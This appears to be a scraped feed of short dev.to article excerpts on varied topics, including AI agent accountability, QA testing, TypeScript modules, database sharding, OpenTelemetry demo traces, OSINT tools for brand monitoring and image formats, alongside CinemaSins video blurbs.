The notification appears at 3:47 AM: an AI agent has just approved a £2.3 million procurement decision whilst its human supervisor slept. The system identified an urgent supply chain disruption, cross-referenced vendor capabilities, negotiated terms, and executed contracts—all without human intervention. By morning, the crisis is resolved, but a new question emerges: who bears responsibility for this decision? As AI agents evolve from simple tools into autonomous decision-makers, the traditional boundaries of workplace accountability are dissolving, forcing us to confront fundamental questions about responsibility, oversight, and the nature of professional judgment itself. The transformation of AI from passive tool to active agent represents one of the most significant shifts in workplace …  ( 20 min )

Over the past few weeks, I have been building a Google Forms alternative but with a huge twist. Rather than creating forms manually, you can chat to develop forms and those forms go live instantly for submissions. Under the hood, it’s powered by a streaming LLM connected to Next.js & C1 by Thesys. The form spec and submissions are stored in MongoDB. It would be hard to cover the complete codebase but here are all the important details and everything I learned building this. In summary, we are going to cover these topics in detail. The vision behind the project. Tech Stack Used. Architecture Overview. Data Flow: From Prompt → Form → Save How It Works (Under the Hood). You can check the GitHub Repository. I was using Google Forms a few months back and realized it still requires you to build…  ( 14 min )

As businesses continue to deliver seamless digital experiences, the way we test applications has become more critical than ever. “web app testing” and “mobile app testing” at the start in this way to improve keyword relevance and make the introduction easier to read. To ensure consistent quality, QA teams must adapt their strategies depending on whether they’re testing a mobile app or a web app. The differences go far beyond screen size-ranging from device fragmentation and operating system diversity to installation flows, hardware integration, and even network variability. These challenges mean that the same QA approach cannot be applied to both environments without risking missed bugs or poor user experiences. If you’re interested in a foundational understanding of QA practices, check out our earlier blog on Everything You Need to Know About Functional Testing: A Beginner’s Guide In this blog, we’ll explore the key differences between mobile and web app testing, including device and OS diversity, installation and release processes, UI responsiveness, hardware-specific testing, performance constraints, and network considerations. We’ll also cover practical insights into build distribution, release workflows, and do’s and don’ts to help QA engineers deliver more reliable applications across platforms. In this blog, we’ll explore the key differences between mobile and web app testing, including device and OS diversity, installation and release processes, UI responsiveness, hardware-specific testing, performance constraints, and network considerations. We’ll also cover practical insights into build distribution, release workflows, and do’s and don’ts to help QA engineers deliver more reliable applications across platforms. read more: https://jignect.tech/what-makes-mobile-app-testing-different-from-web-app-testing-a-qa-engineers-guide/  ( 7 min )

New vitamin D research and what it means for your health Vitamin D helps the body absorb calcium and supports bone health. Recent studies revisit its wider roles, including immune and cardiovascular health. However, the evidence for supplements remains mixed. The standard test measures 25-hydroxycholecalciferol or 25(OH)D blood levels. A deficiency is below 30 nanomoles per liter. Because most vitamin D comes from sunlight, skin exposure drives levels. In addition, diet provides oily fish, egg yolks, mushrooms, and fortified foods. Infants need supplements at least until age one to prevent rickets. Low vitamin D associates with higher blood pressure and greater cardiovascular event risk. However, trials give conflicting results about whether supplements reduce these risks. Randomized tri…  ( 7 min )

Introduction: Problem Statement: Scalability issues Server maintenance challenges Regular patching, monitoring, and hardware upkeep consumed significant time and resources. Server end-of-life concerns Authentication complexity Deployment bottlenecks The business needed a cloud Migration Steps Updated Angular dependencies for compatibility with modern cloud hosting. Integrated MSAL.js to handle authentication flows with Azure AD. Configured OAuth 2.0 and OpenID Connect for secure token management. Step 2: Setting up AWS Infrastructure Hosted static Angular files on Amazon S3. Used CloudFront as a CDN for faster global delivery. Configured Route 53 for domain management and DNS routing. Step 3: Integrating Azure AD SSO Registered the application in Azure AD. Configured redirect …  ( 8 min )

Welcome Back to Day 7! Hey everyone! It's Day 7 of my 30 Days of Python Challenge, and today is EXTRA exciting because we're building our first real project a calculator! If you missed the previous days: [Day 1: Print Statements] [Day 2: Variables and Data Types] [Day 3: Type Casting] [Day 4: User Input] [Day 5: Arithmetic Operators] [Day 6: If Statements] Today, we're combining everything we've learned into a functional calculator. Let's build something awesome! Today's mission: Build a Calculator. This is where all our previous lessons come together! We're using user input, type casting, arithmetic operators, if statements, and introducing something new—functions! Building this calculator taught me: How to organize code into reusable functions How to handle user input for calculation…  ( 9 min )

Digital marketing has evolved at lightning speed over the past decade, reshaping how businesses connect with customers and build long-term brand loyalty. In 2025, the pace of change shows no signs of slowing down. From artificial intelligence to voice search, personalization to privacy-first strategies, companies that want to thrive must stay ahead of the curve. This article explores the most important digital marketing trends shaping the future — and how businesses can leverage them to drive growth, build trust, and stand out in increasingly competitive markets. Artificial intelligence (AI) is no longer a buzzword; it’s the backbone of modern marketing. AI-driven tools now handle everything from predictive analytics to automated content creation, customer segmentation, and personalized …  ( 9 min )

Operators Arithmetic Operators Used for mathematical calculations. Operator Meaning Example Addition 10 + 5 Subtraction 10 - 5 Multiplication 4 * 3 Example: Comparison Operators Greater than Logical Operators Assignment Operators = a = a × 5 * x = 10 String 1. What is a String? 2. String Indexing 3. String Slicing 4. Important String Functions 5. Loop Through String 6. Check Substring 7. Count Vowels Program word = "education" count = 0 for ch in word: if ch in "aeiou": count += 1 print("Vowels =", count)  ( 7 min )

Check out this Pen I made!  ( 6 min )

Everything Wrong With The Wiz In 15 Minutes Or Less CinemaSins hops back onto the yellow brick road now that Wicked’s back in theaters, running through The Wiz with their signature sin-counting style—pointing out plot holes, quirky performances, and head-scratching moments you might’ve forgotten. It’s a fun, fast ride that asks: “Is The Wiz actually better than you remembered?” If you’re thirsty for more nit-picking goodness, their website and Linktree have all the latest videos, polls, and Patreon deets—plus links to Discord, Reddit, and every social channel you can imagine. Don’t miss out on supporting the team and joining the sinful conversation! Watch on YouTube  ( 6 min )

Sector HQ Weekly Digest - November 22, 2025 Who's shipping vs who's just talking? Here's this week's AI industry intelligence. OpenAI - Score: 516189.8 | 343 events this week Anthropic - Score: 289651.9 | 51 events this week Google - Score: 159917.4 | 125 events this week Microsoft - Score: 136773.6 | 99 events this week Amazon - Score: 130268.4 | 22 events this week Nvidia - Score: 129302.5 | 161 events this week Meta - Score: 100622.6 | 61 events this week Apple - Score: 84205.9 | 94 events this week Perplexity - Score: 47899.8 | 3 events this week DeepMind - Score: 46045.2 | 8 events this week ↑ Sony jumped 277 positions to #55 ↑ Stability AI jumped 183 positions to #74 ↑ Bytedance jumped 143 positions to #58 ↑ Scale AI jumped 122 positions to #38 ↑ Palantir jumped 107 positions to #17 No high hype alerts this week Total companies tracked: 100 Total events this week: 1317 Average activity per company: 13.2 events The AI industry continues to evolve rapidly. Companies that ship consistently rise in our rankings, while those focused on hype alone get flagged by our Hype Gap detector. Methodology: Our leaderboard tracks real product releases, funding events, partnerships, and market traction - not just PR and social media buzz. Want real-time updates? Check out the live leaderboard at sectorhq.co Track specific companies and get instant alerts when they move in the rankings. Tags AI #ArtificialIntelligence #MachineLearning #TechIndustry #Startups #AILeaderboard  ( 6 min )

In the world of TypeScript, modules play a crucial role in organizing and structuring code for better maintainability and scalability. Let's dive into the world of modules in TypeScript and explore how they can enhance your development experience. Modules in TypeScript allow you to divide your code into reusable components that can be easily imported and exported across different files. This helps in keeping your codebase clean and organized. To export a module in TypeScript, you can use the export keyword followed by the element you want to export. For example: // mathFunctions.ts export function add(a: number, b: number): number { return a + b; } You can then import this module in another file using the import statement: // app.ts import { add } from './mathFunctions'; console.log(add(2, 3)); // Output: 5 In addition to named exports, TypeScript also supports default exports. You can export a default module like this: // logger.ts export default function log(message: string): void { console.log(message); } And import it using: // app.ts import log from './logger'; log('Hello, World!'); By using modules effectively, you can organize your codebase into logical units, making it easier to maintain and scale. You can create separate modules for different functionalities such as authentication, data manipulation, and UI components. TypeScript uses a system called 'module resolution' to find and load modules in your code. There are different strategies for module resolution, such as Node.js style, Classic, and others. Understanding how module resolution works can help you avoid common pitfalls when working with modules. Modules are a powerful feature in TypeScript that can greatly improve the structure and organization of your code. By mastering modules, you can write more maintainable and scalable applications. Start leveraging the power of modules in TypeScript today!  ( 7 min )

Hey dev.to community, Fantasy football is a data-driven obsession for millions. We agonize over lineup decisions and, most intensely, trades. The question "Did I win this trade?" is haunting. When building fftradeanalyzer.com, my goal was to answer that question objectively using data, moving beyond gut feelings. However, calculating the "value" of an NFL player in real-time is a surprisingly complex engineering challenge that involves disparate data sources, predictive modeling, and handling significant contextual noise. Here is a high-level overview of the architecture and challenges involved in building a modern fantasy sports analysis tool. The Challenge: Defining "Value" in a Vacuum Projections: What are they likely to do moving forward? Positional Scarcity: A top-tier Tight End is wo…  ( 7 min )

Java is one of the most powerful and adaptable programming languages in today’s technology. From mobile applications to enterprise level software and web applications everywhere java’s presence is there. Java is the top choice for developers and organizations because it is platform independent, object oriented and secure. Table of Contents Basics of Java and Environment Setup Data Types, Variables, and Operators Control Flow Statements Object-Oriented Programming (OOP) Concepts Exception Handling in Java Collections Framework Multithreading and Concurrency Java Database Connectivity (JDBC) Basics of Java and Environment Setup You will learn how to install java and set up environment variables and to use Integrated Development Environment like Eclipse or IntelliJ IDEA. The first few se…  ( 9 min )

Real estate has traditionally been one of the most stable and lucrative investment classes. However, unlocking the true value of property has often been limited by high capital requirements, complex legal processes, and illiquid markets. Many valuable properties remain underutilized because their owners cannot access sufficient liquidity, and investors are unable to participate due to entry barriers. Real estate tokenization—a blockchain-driven innovation—is rapidly changing this landscape. By converting ownership of a property into digital tokens, property owners and developers can unlock capital, enhance liquidity, and expand access to a broader investor base, fundamentally redefining how property value is realized. Tokenization enables fractional ownership, automated management of incom…  ( 10 min )

The rise of designer clothes online has transformed the shopping experience for fashion enthusiasts around the world. What once required traveling to exclusive boutiques or high-end malls can now be explored through digital catalogues, immersive lookbooks, and personalized recommendations. This shift has made luxury fashion more accessible, allowing shoppers to enjoy premium craftsmanship and unique styles with unmatched convenience. The convenience of browsing designer collections online is one of its strongest attractions. Shoppers can compare styles, explore color options, read fabric details, and scroll through curated trends—all without stepping out of their homes. The digital space also offers a broader selection than many physical stores, featuring both global luxury houses and emer…  ( 8 min )

Common Coding Mistakes at Every Level (And How to Fix Them) TheBitForge ・ Nov 22 #webdev #programming #productivity #python  ( 6 min )

Erome is an online content-sharing platform that allows users to upload, organize, and share visual collections with a global audience. Over the years, it has built a recognizable presence due to its simple interface, community-driven uploads, and flexible gallery-style design. Whether you're researching Erome for informational purposes, online safety, or platform comparison, this guide provides a clear, balanced, and easy-to-understand overview. Erome is a media-hosting platform where users can create an account, set up albums, and upload photos or videos into curated galleries. These galleries can be shared publicly or kept private, depending on user preference. The website works similarly to other user-generated content platforms, focusing on simplicity and fast content delivery. The up…  ( 9 min )

As a fashion marketer and creative obsessed with workflow speed, I know firsthand how draining, expensive, and stressful producing great model photography can be. That’s why, over the past few months, I’ve gone all-in on testing the newest virtual model generators aimed at clothing brands. My goal? To find out which tools actually deliver on quality, realism, and legal compliance-without sucking up all my sanity or budget. Note: This article was generated with the help of AI tools and may reference companies I'm affiliated with. This list is about the tools that let me create meaningful model content for catalogs, campaigns, and e-commerce updates. I’ve used each one for real brand projects or test scenarios-not just poked at the settings. I put every option through the wringer with actu…  ( 12 min )

A Beginner-Friendly Guide to TypeScript (What I Wish I Knew Earlier) Increase Akinwole ・ Nov 21 #webdev #ai #typescript #javascript  ( 6 min )

Statistics Challenge for Data Scientists Today, we’ll understand two very practical ideas: A/B Testing – how to compare two options and choose the better one using data. Market Basket Analysis – how to find which items are often bought together. A simple concept, but still useful for data scientist. A/B testing is like a fair competition between two versions of something to see which one works better. You create: Version A Version B Then you show A to some people, B to some other people, and compare results. We do this to answer questions like: Which button gets more clicks? Which headline makes more people sign up? Which page keeps users longer? Imagine you have a website with a “Sign Up” button. You are not sure which button color works better: Version A: Red button Version B: Green butt…  ( 9 min )

1. What is JOLT? JOLT (JSON-to-JSON Transformation) is an open-source Java library (originally from Bazel/Spotify) used to: ✔ Transform JSON into a different JSON JOLT uses a transformation spec, written as JSON, to tell how input JSON should be transformed. 2. Why and When to Use JOLT? Use JOLT when: Examples: Backend receives API JSON and needs to convert it to another JSON format. Integrating with 3rd-party APIs that return weird JSON structure. Without JOLT you'd write dozens of lines of ObjectMapper, maps, loops, etc. JOLT reduces this to a tiny JSON transformation spec. You can store the spec in: a file, a database, config properties, or generate dynamically. 3. What is a Spec? A spec is a JSON array describing transformation steps. Example: [ { "operation": "shift", …  ( 9 min )

For years, the browser belonged entirely to JavaScript. I decided to challenge that assumption. I’m currently building Evolve **- a **Python-native frontend framework powered by WebAssembly and a minimal JavaScript DOM kernel. The goal is simple: Write UI in Python Run it in the browser Keep it fast, reactive, and simple I’m still deep in development, so I’m not publishing the source yet. But I will be sharing progress, architecture, and demos. If you’re curious about Python + WebAssembly in frontend, stay tuned.  ( 6 min )

If you've ever tried to build a timeline that looks good on both mobile and desktop, you know it can get messy fast. This guide breaks it down step by step: how the grid is structured, how the spine works, how cards switch sides, and how to keep everything readable and accessible. Read the full article and grab the full snippet: https://lexingtonthemes.com/blog/how-to-build-a-responsive-alternating-timeline-with-tailwind-css  ( 6 min )

I’ve been doing web development for roughly 15 years. I remember the days before npm, the rise of jQuery, Bootstrap, the explosion of SPAs, and things in between. I’ve seen exciting trends and helpful tools, but lately, I’ve also seen frameworks that are increasingly confusing. Today's web development seems to be heading in an uneasy direction. We have normalized a level of complexity that pulls developers away from the basics of the web and into a walled garden framed by build tools, transpilers, and packers. I’m lucky to be self-employed, which gives me a unique perspective. I don't have a boss or a job description forcing me to use a specific framework, and that gives me the freedom to build my own way. Here is why I favor the fundamentals (HTML, CSS, JS) over the "Framework of the Mont…  ( 8 min )

I just migrated my entire SaaS from varchar(36) UUID4 → native uuid UUID7 🤡. Instant results: ~33% faster inserts Smaller indexes Faster joins Less storage Smoother scaling Stop storing UUIDs as strings. 🐒 UUID7 is the upgrade everyone should’ve done yesterday.  ( 6 min )

Japanese learners always struggle in the beginning — not with vocabulary, but with memorising Hiragana and Katakana properly. I was in the same situation once, and I didn’t find a clean offline tool on Android. Most apps were full of ads or heavy UI. So I built a simple solution: KF Hiragana Katakana Flashcard — made for beginners and JLPT aspirants who just want to master the Japanese alphabet with repetition. The goal is speed + focus. No distractions. 📌 Flashcards for all Hiragana & Katakana characters 🔄 Shuffle mode to improve recall 📱 Offline support — learn anywhere 🎯 Minimal UI to keep focus on learning 🚀 Designed for JLPT N5 and N4 level practice This app is meant for daily usage, even if you study just 5–10 minutes per day. Technology Purpose React Native Core app development Expo (Managed Workflow) Dev environment & OTA updates Local JSON Data Store Hiragana & Katakana characters Async Storage Save user preferences (optional) No Backend Used Lightweight & offline-first approach AI Tools (assisted) Debugging & UI improvements Expo EAS Build Deployment to Play Store Keeping everything local made the app light and fast, perfect for learners who don’t have reliable internet all the time. Download & Try Hiragana Katakana Flashcard 👉 Play Store Lessons Learned During Development What really helped me while building: Keeping UI minimal increased usability JSON-based data is clean & easy to maintain React Native + Expo is powerful for quick prototypes Testing on a real phone matters — simulator is not enough AI + human logic = faster problem solving This app taught me that small tools solve big learning blocks. Especially in language learning.  ( 7 min )

Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less is CinemaSins’ latest snarky teardown, counting every plot hole, cliché and eyebrow-raising moment in record time. If you’ve ever wondered how demon hunting pairs with K-pop flair (and how many “sins” that mash-up racks up), this brisk, tongue-in-cheek breakdown has all the highlights. For more film-slaying fun, head to cinemasins.com or their Linktree for updates, polls and Patreon support. You can also follow the writers—Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel—on Twitter and Instagram, join the Discord or Reddit communities, check out Jeremy’s book, and catch extra banter on TikTok. Watch on YouTube  ( 6 min )

🏗️ Sharding - Architecture Series: Part 5 ⚔️ WHAT is Sharding? Sharding = Horizontally splitting one huge database into many smaller databases (shards), each living on separate servers. Each shard stores a slice of the whole dataset and handles a slice of total traffic. Single DB (Overloaded) → Sharded DB (Distributed) ┌─────────────────────┐ ┌───────────┐ ┌───────────┐ ┌───────────┐ │ 1TB Data │ │ Shard 1 │ │ Shard 2 │ │ Shard 3 │ │ 15K QPS │ │ Users A-F │ │ Users G-M │ │ Users N-Z │ │ 💥 Slow / Choking │ │ 3K QPS │ │ 4K QPS │ │ 3K QPS │ └─────────────────────┘ └───────────┘ └───────────┘ └───────────┘ 📌 Dataset too large for a single server (100GB–TB scale) 📌 QPS (qu…  ( 8 min )

TLDR: badtrace on GitHub I needed a tool that would deliberately generate OpenTelemetry traces that were "bad". I needed this for training, enablement and demo purposes so that I could easily fire a trace with a known issue into my Observability system and thus show "why it was bad" and "how it looks". Yes, tools like tracepusher and telemetrygen already exist, but they typically: a) Generate "good" or "healthy" traces Hence, "badtrace" was born. It works based on "scenarios" (you can implement your own in a few lines of Python). python app.py \ --endpoint=http://localhost:4318 \ --service-name=badtrace \ # optional: defaults to "badtrace" --trace-count=1 \ # optional: defaults to 1 --insecure=true \ --scenario=scenario1 As I write this, there are currently 4 scenarios (please come and help implement more) which can be toggled by changing scenario1 above to scenario2, scenario3 or scenario4 etc. Scenario 1 creates a short, small trace. This is quick (in end-to-end time) and short in terms of number of spans. In reality this would be a very low value trace (and thus a candidate to filter or heavily sample). Scenario 2 creates a trace where some of the spans have errored. This models a trace where some of the operations error (imagine calling third party services and some of them fail). Scenario 3 creates a "chatty" client to server trace with the client repeatedly calling the same endpoint over and over. This models things like the N+1 query problem where (for example) multiple SELECT statements occur to a database (instead of batching up the SELECTS into fewer statements). Scenario 4 is similar to 3. It creates a "chatty" client but this time, the connections occur to many different servers. If this sounds useful, go check out badtrace on GitHub!  ( 7 min )

Everything Wrong With The Wiz In 15 Minutes Or Less The CinemaSins crew is hitting the yellow brick road again to rip into 1978’s The Wiz—just in time now that Wicked is back in theaters—and they’re asking the big question: is this musical actually better than you remember? Expect all the classic Sin commentary, snarky observations, and rapid-fire jokes packed into a bite-sized rundown. Hungry for more? Head over to cinemasins.com or their Linktree for the latest videos, fill out their “sinful” poll, or throw a few coins into their Patreon. You can also stalk them on Twitter, Instagram, TikTok, Discord and Reddit to keep the movie nitpicking flowing. Watch on YouTube  ( 6 min )

Introduction When building modern applications with an ASP.NET Core backend and an Angular frontend, one recurring challenge is how to generate strongly typed client APIs. Developers want to avoid repetitive boilerplate, ensure type safety, and keep backend and frontend models in sync. Two tools often considered are WebApiClientGen and Kiota. While both aim to simplify client generation, they differ fundamentally in approach and fit. WebApiClientGen is a modular toolkit that generates C# and TypeScript client APIs directly from ASP.NET Core Web API controllers — without requiring Swagger/OpenAPI. C# client generation for .NET, Xamarin.Forms, MAUI, Blazor. TypeScript client generation for Angular, Aurelia, Axios, Fetch API, jQuery. POCO → TypeScript conversion for schema fidelity. A…  ( 8 min )

IT operations have reached a breaking point. Traditional monitoring tools can’t keep up with the complexity of cloud-native environments, microservices, and continuous delivery pipelines. Incidents are more expensive than ever with downtime costing enterprises between $300,000 and $1M per hour (Gartner). Yet, AWS customers adopting GenAI-powered AIOps have seen a 60% reduction in mean time to resolution, 95% fewer out-of-hours incidents, and 99.9% availability across critical workloads. Meanwhile, DevOps and SRE teams are drowning in alert storms, spending more time reacting to noise than resolving real issues. This is where AIOps (Artificial Intelligence for IT Operations) comes in. By combining advanced machine learning with automation, AIOps doesn’t just monitor (it predicts, correla…  ( 8 min )

Selenium architecture is based on a client-server model where test scripts communicate with browser drivers through APIs and protocols. Here are the key points you should know: Available in multiple languages (Java, Python, C#, Ruby, etc.). Test scripts are written using these libraries to send commands to browsers. Acts as a bridge between client libraries and browser drivers. Converts commands into a standard format that browsers can understand. Selenium 4 fully supports the W3C WebDriver protocol, improving compatibility with modern browsers. Each browser has its own driver (e.g., ChromeDriver, GeckoDriver for Firefox, EdgeDriver). Drivers receive commands from the client via HTTP and execute them in the browser. They return responses back to the client libraries. The actual environment…  ( 7 min )

If you’ve ever needed to quickly resize, compress, or convert an image, you probably know how frustrating it can be to juggle between different apps or heavy desktop tools. The good news is that now, most of this can be done instantly — right in your browser. Pixilify TinyPNG Squoosh ILoveIMG Convertio Final Thoughts You don’t need Photoshop for simple edits anymore. Browser-based tools have become powerful enough for most quick tasks. Whether you’re adjusting image sizes for a website, compressing for social media, or converting formats for better compatibility, these platforms make it effortless. What’s your go-to browser-based image editor?  ( 6 min )

Ever stuck hours or days looking for bugs in your PHP project when the redirection is not working as expected? project for my new PHP course. And after looking for possible bugs for some time, I remembered the fix I used when I was just a beginner (a decade ago). Now I was curious to know why the PHP header was not working when another fix is working fine. So I did a quick Google search and found out that there should not be any output (like HTML, whitespace or errors) before header() function call. It’s similar to the “Cannot modify header information” error. 1. Whitespace before opening PHP tag: Any space or new line before the opening “<?php” tag is considered as an output. 2. HTML output before Header call: Any echo/print statements that have been executed before header redirection als…  ( 7 min )

Picking the right image format may look like a small decision, but it can affect how fast your site loads, how sharp your visuals look and even how users interact with your content. If you’re unsure when to use JPEG, PNG or WebP, here’s an easy guide. JPEG JPEG works best for photos or images with many colors and gradients. When to use Product photos Small file size Loses some detail during compression PNG PNG is good when you need crisp quality with transparency. When to use Logos High quality Larger file size compared to JPEG WebP WebP is a modern format that offers high quality with smaller sizes. When to use Most web images Smaller than JPEG and PNG Older browsers may not support it Quick comparison Format Best for Quality Transparency File size JPEG Photos Good No Small PNG Graphics Excellent Yes Large WebP Most uses Excellent Yes Small Simple rule to follow Photos → JPEG or WebP If your platform supports it, WebP is a great all-round option. Still, JPEG and PNG remain important when you need broad compatibility. Experiment a little to see what meets your quality and performance goals  ( 7 min )

Essential OSINT Tools for Reputation Monitoring: A Technical Deep Dive As reputation management professionals, we rely heavily on OSINT (Open-Source Intelligence) tools to monitor online presence and identify potential threats. Today, I'm sharing our comprehensive toolkit that helps businesses protect their digital footprint. OSINT tools provide real-time monitoring capabilities that are essential for: Early threat detection Brand mention tracking Competitor analysis Crisis prevention Key Tools: Social-searcher.com - Free social media search across multiple platforms Mention.com - Real-time brand monitoring TweetDeck - Advanced Twitter monitoring Essential Tools: Google Alerts - Basic but effective for brand mentions ReviewTrackers - Multi-platform review monitoring Trustpilot Business - Review tracking and management Critical Tools: Google Search Console - Search performance monitoring Moz Pro - Rank tracking and backlink analysis SEMrush - Comprehensive SEO and brand monitoring I've compiled an extensive list of these tools in our GitHub repository: Essential OSINT Tools Checklist This resource includes: Tool descriptions and use cases Pricing information (free vs paid) Implementation guides Best practices for each tool bash # Example automated monitoring setup 1. Configure Google Alerts for brand keywords 2. Set up Social Searcher for social media mentions 3. Implement Google Search Console for SEO tracking 4. Schedule weekly reputation audit reports  ( 7 min )

In today’s fast-paced digital world, Generative AI is no longer just a futuristic concept—it’s actively transforming the way industries operate. From creating art and designing products to generating content and optimizing workflows, generative AI is revolutionizing creativity across sectors. Businesses that harness this technology gain a competitive edge by accelerating innovation and improving efficiency. What is Generative AI? Industries Being Transformed by Generative AI 1. Marketing and Content Creation 2. Design and Visual Arts 3. Music and Entertainment Read More: The Rise of AI Creativity: How Generative AI Is Changing Industries Conclusion For more insights into AI innovations, industry trends, and how businesses are leveraging cutting-edge technologies, be sure to visit Nate Patel’s website for expert guidance and resources.  ( 7 min )

ChatGPT group chats for team collaboration: Integrating AI into everyday workflows ChatGPT group chats unlock new ways for teams to collaborate. They create shared spaces where up to 20 people can participate. As a result, teams can align faster and reduce email clutter. OpenAI built group chats to copy an existing conversation into a shared thread. Then members join via a shareable link. Because the system runs on GPT-5.1 Auto, the model can reply when mentioned and react with emojis. However, rate limits apply only when ChatGPT sends messages. Also, OpenAI says it will not use memories from personal chats inside group conversations, and it will not create new memories from group activity. Therefore privacy controls matter for enterprise adoption. Start a group chat by tapping the peopl…  ( 8 min )

Building Open-Source Reputation Management Tools: Why I Shared Our Proprietary Frameworks As the Director of Pure Reputation, I've decided to open-source many of our reputation management tools and frameworks. In this article, I'll explain why transparency matters in the reputation management industry and how these resources can help businesses protect themselves. In an era where fake reviews and online attacks are increasingly common, I believe every business should have access to basic reputation protection tools. By open-sourcing our frameworks, we're: Democratizing access to essential reputation management resources Building trust through transparency in our methodologies Encouraging collaboration and improvements from the community Helping businesses who can't afford expensive reputation management services Digital Reputation Insights This collection includes: OSINT tools for comprehensive online monitoring Getting started guides for reputation management beginners Risk assessment frameworks to identify vulnerabilities Essential tools checklist for ongoing protection These resources are perfect for: Small business owners monitoring their online presence Marketing professionals managing brand reputation Developers building reputation management tools Business consultants advising clients on digital protection Visit our GitHub organization to access all repositories. Each includes detailed documentation, contribution guidelines, and practical examples. I welcome feedback, contributions, and discussions about how we can collectively improve online reputation management for businesses worldwide. Simon Leigh Director, Pure Reputation Website | GitHub  ( 6 min )

Every React developer thinks performance issues come from the backend—until they learn the truth. I learned mine in the middle of a sprint where the backend team kept saying, “API is fast… the UI isn’t.” They were right. A junior dev pinged me: “Why does our UI freeze if the API is super fast?” I opened the Profiler. One component—just one—was re-rendering 19 times for one change. We didn’t have a slow API. We applied: React.memo for components with stable props Debounced handlers Avoided object spreading Lazy loading Bundle splitting The fix wasn't magic. It was discipline. 32% faster load. React performance isn’t about doing “more”. It’s about avoiding the unnecessary.  ( 6 min )

Hey, Flutter fam! Episode 4 of our Flutter x Serverpod series is here! Last time we integrated authentication: login, registration, reset/forgot password, validation code, and secure Home screen. If you're signed in and staring at an empty task list right now… perfect. Today, we're filling it with secure CRUD operations for our fintech to-do app. We're creating, reading, updating, and deleting trade alerts that are fully owned by the logged-in user, with validation to prevent anyone from entering a negative amount. By the end, your app will feel production-ready, complete with empty states, loading spinners, error toasts, and more. Let's build! Subscribe and let's code! 🚀 FOR BETTER UNDERSTANDING, REFER TO THE YOUTUBE VIDEO. First, our Task model  In fintech_todo_server/lib…  ( 9 min )

We have all been there. You find a course file, a movie, or a project archive on Telegram that is over 1GB. You start the download via the Web or Desktop client, watch the progress bar pick up speed, and then you make the mistake of switching tabs or walking away to grab a coffee. Ten minutes later, you check back. The progress bar hasn’t moved. The speed is 0 B/s. The download is stuck at 99%. That gigabyte of data you successfully pulled is now a useless, orphaned file, forcing you to start the transfer from scratch. While reading about this, realized the problem isn’t that Telegram is slow. The problem is that browsers and OSs hate long-running background tasks. So, I created TeleDM (Telegram Download Manager). It solves this fundamental frustration by providing a robust, “fire and forg…  ( 8 min )

A scheduled data collection service that crawls external sources An API service that processes, transforms, and serves enriched data To ensure uninterrupted operations, a full-stack monitoring architecture was developed on Azure covering everything from infrastructure metrics to business KPIs, with automated alerting routed directly into Slack. This post breaks down the layers of that monitoring system and the principles behind its design. Both services run on Azure App Service. Azure provides extensive diagnostic categories, and every relevant category was enabled to maximize visibility: ✔ HTTP Logs ✔ Console Logs ✔ Application Logs ✔ Access Audit Logs ✔ IPSecurity Audit Logs ✔ Platform Logs ✔ Authentication Logs ✔ AllMetrics (CPU, Memory, Connections, Threads) All logs flo…  ( 8 min )

Welcome Back, Code Cleaners! In Part 1, we mastered meaningful variable names and killed the var keyword forever. Today, we're tackling the heart of clean code: functions. I once wrote a 250-line function called processUserData(). It validated, transformed, saved to database, sent emails, logged activities, and made coffee (okay, not that last one). When a bug appeared, I spent 4 hours finding it in that monster function. Never again. Today's Mission: Write small functions that do ONE thing Master arrow functions (and avoid common mistakes) Name functions like a pro Make your code self-documenting Let's transform those god functions into clean, testable masterpieces. The Golden Rule: If you can't describe what a function does in one sentence without using "and", it's doing too much. func…  ( 13 min )

Television advertising has been a cornerstone of marketing for decades, launching brands into households across the globe. But how do those commercials actually make it onto our screens? The process behind television advertising sales is a complex interplay of networks, advertisers, and agencies, involving intricate negotiations and strategic planning. The world of TV advertising involves several key participants, each with a distinct role in the buying and selling process. At the top of the chain are the networks (like NBC, CBS, or ESPN) and local broadcast stations. They are the content creators and distributors who own the advertising inventory—the commercial breaks during their programming. Their primary goal is to sell this airtime to advertisers for the highest possible price. Their …  ( 9 min )

The Beginning: "How Hard Could It Be?" After successfully building my RepositoryContextPackager tool with CMake and getting CI/CD working across Windows, macOS, and Linux, I thought, it is going to be smoother experience. At the end of the day I did my release to my RepoContextPackager, but the path to get there was much harder than expected. Looking back, I should have stuck with purely making Releases on my repo from the start. I started by creating custom overlay ports for vcpkg. The structure seemed straightforward: ports/ └── repositorycontextpackager/ ├── portfile.cmake └── vcpkg.json Every time I made a commit and created a new tag, I had to update the REF in portfile.cmake, set SHA512 0 as a placeholder, then run ./vcpkg install repositorycontextpackager --overlay-port…  ( 7 min )

Every business today runs on data. From customer behavior to market trends, companies rely on analytics to make accurate decisions. As a result, Data Analytics has become one of the most demanded skills in industries such as IT, finance, marketing, and HR. A well-designed data analytics course equips you with essential tools like Excel, SQL, Power BI, and Python, helping you analyze complex data and generate valuable insights. Companies are hiring skilled analysts to convert raw data into meaningful strategies. Data Analytics is also a very beginner-friendly career path. Even without a technical background, learners can quickly understand and build strong foundations through structured training. The field offers fast career growth, stability, and excellent salary potential. How a Data Anal…  ( 7 min )

Artificial intelligence is reshaping financial markets, and traders across the world are adopting AI-driven tools to improve decision-making, automate execution, and analyze market data more efficiently than ever. Among the many investment markets, forex and stocks stand out as two of the largest and most frequently traded. But when it comes to leveraging AI—which market benefits the most? Let’s break it down. Understanding the Markets Before comparing AI’s impact, it’s important to understand the characteristics of each market. Forex Market Trades global currency pairs (e.g., EUR/USD, GBP/JPY) Operates 24/5 without centralized exchanges Highly liquid with trillions in daily volume Driven by macroeconomic factors like interest rates, geopolitical events, and central bank policies Stock Ma…  ( 7 min )

When support teams face a growing ticket backlog, the issue often isn’t product complexity—it’s navigation. If users can’t find answers on their own, even simple issues turn into support tickets. Smarter help center navigation gives customers a clearer path to self-service and helps teams cut down repetitive, unnecessary tickets. In this post, let’s explore how better navigation reduces ticket volume, improves customer satisfaction, and supports a healthier support workflow. A help center succeeds when customers can reach the right answer fast. When navigation is unclear, they get stuck, bounce, or submit a ticket. Common signs that navigation needs improvement: Users clicking multiple categories before finding the right one Repetitive tickets tied to topics already covered High internal…  ( 8 min )

